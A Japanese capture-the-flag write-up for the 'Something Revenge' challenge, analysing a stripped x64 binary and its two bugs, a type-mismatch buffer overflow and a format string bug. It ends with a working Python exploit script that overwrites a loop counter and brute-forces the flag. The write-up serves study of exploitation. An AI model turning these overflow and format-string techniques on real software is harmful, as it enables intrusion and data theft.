Something Revengeのwrite-up
Something Revenge
/$$$$$$ /$$$$$$$ /$$$$
/$$__ $$ /$$/$$ /$$/$$ /$$/$$ /$$/$$ | $$__ $$ /$$ $$
| $$ \__/ | $$$/ | $$$/ | $$$/ | $$$/ | $$ \ $$ /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$|__/\ $$
| $$ /$$$$ /$$$$$$$ /$$$$$$$ /$$$$$$$ /$$$$$$$ | $$$$$$$/ /$$__ $$| $$ /$$//$$__ $$| $$__ $$ /$$__ $$ /$$__ $$ /$$/
| $$|_ $$|__ $$$_/|__ $$$_/|__ $$$_/|__ $$$_/ | $$__ $$| $$$$$$$$ \ $$/$$/| $$$$$$$$| $$ \ $$| $$ \ $$| $$$$$$$$ /$$/
| $$ \ $$ /$$ $$ /$$ $$ /$$ $$ /$$ $$ | $$ \ $$| $$_____/ \ $$$/ | $$_____/| $$ | $$| $$ | $$| $$_____/ |__/
| $$$$$$/ |__/__/ |__/__/ |__/__/ |__/__/ | $$ | $$| $$$$$$$ \ $/ | $$$$$$$| $$ | $$| $$$$$$$| $$$$$$$ /$$
\______/ |__/ |__/ \_______/ \_/ \_______/|__/ |__/ \____ $$ \_______/ |__/
/$$ \ $$
| $$$$$$/
\______/
If there is one thing I've learned about CTFs it is that people love guessing challenges.
So we thought, why not skip the middleman and just have players guess the flag directly.
I hope you have fun ;)
flag (1/3):
$ file smth_revenge
smth_revenge: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d53be898817b6bc2b1fe69cbd1ce8ba8882d76fb, stripped
x64のstrippedなバイナリが与えられる.libcはない.
解析
大雑把な動作は
- フラグファイルを
open
する - フラグファイルを
mmap
する -
prctl
でseccomp
を設定し,open
やexecve
などを使えなくする -
read
で入力を受け取る - フラグと入力を比較する
- 4-5を全部で3回行う
- フラグを
munmap
- フラグファイルを
close
また,出力用に簡単なprintf
が実装されていて,%d, %c, %nが使える.
大体の挙動はprintf
と同じだが,%nは指定アドレスに書き込むのではなく,引数に直接書き込んでしまう.
バグ
1つめのバグはread
の長さを決めるmax_read
変数にあり,この値は毎回更新されているが,ポインタの参照外しをするときに型を間違えている.
この大きさを表すmaxlen
は本来は2バイトなのに4バイト整数として渡してしまっている.
nretry
はflagになにも入力せずやり直しになった回数を表していて,maxlen
はこれを巻き込んで解釈されるので,
1回やり直すことで,とても長いread
ができてBuffer Overflowする.
2つめのバグは入力したフラグが正しくなかった場合に入力をオウム返しする部分にFormat String Bugがある.
解法
真のフラグとユーザが入力したフラグを比較する部分で,最初に間違っていた値がdlに入ったままFormat String Bugが起きる.
これによって,入力したフラグがどこまで合っていたかわかるので,端からフラグの文字列を特定していくことができる.
まとめると,
- わざと
'\n'
だけ入力して,1回やり直す. - bofを使って変数を書き換えてループをほぼ無限回に増やす.
- 左端から1文字ずつ総当りして,フラグを特定する.
これを自動化するスクリプトを書いてサーバに持って行って実行する.
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from subprocess import Popen, PIPE
from struct import pack
import signal
class Process:
def __init__(self, argv):
self.p = Popen(argv, stdin=PIPE, stdout=PIPE)
def send(self, data):
self.p.stdin.write(data)
def recv(self, n):
return self.p.stdout.read(n)
def recvuntil(self, delim):
data = ''
while not data.endswith(delim):
data += self.recv(1)
return data
def sendline(self, data):
self.send(data + '\n')
def terminate(self):
self.p.terminate()
def p64(n):
return pack('<Q', n)
def raise_exception(sig):
raise Exception
to_saved_rbp = 0x140 - 0xa0
flag_length = 0x80
def main():
signal.signal(signal.SIGALRM, raise_exception)
tube = Process(['./smth_revenge'])
print('retry once')
tube.recvuntil('): ')
tube.send('\n')
print('overwrite the loop counter')
tube.recvuntil('): ')
loop_counter = p64(0xf0000000f0000000)
tube.sendline('A' * (to_saved_rbp-8) + loop_counter)
print('try candidates')
flag = 'CBCTF{' + '\xff' * (flag_length - len('CBCTF{')) + '%c\xfe%c'
for i in range(len('CBCTF{')+1, flag_length):
for char in range(0x20, 0x7f):
if chr(char) == '%':
continue
flag = flag[:i-1] + chr(char) + flag[i:]
tube.recvuntil('): ')
tube.sendline(flag) # send flag
signal.alarm(1) # set alarm
try:
tube.recvuntil('\xfe')
except Exception: # correct flag
break
signal.alarm(0) # turn off alarm
data = tube.recv(1) # read the first wrong char from beginning
if data == '\xff': # correct char
break
if chr(char) == '}': # end of the flag
break
print(flag[:i])
tube.terminate() # Don't forget to kill the process
# execute this on the remote server
if __name__ == '__main__':
main()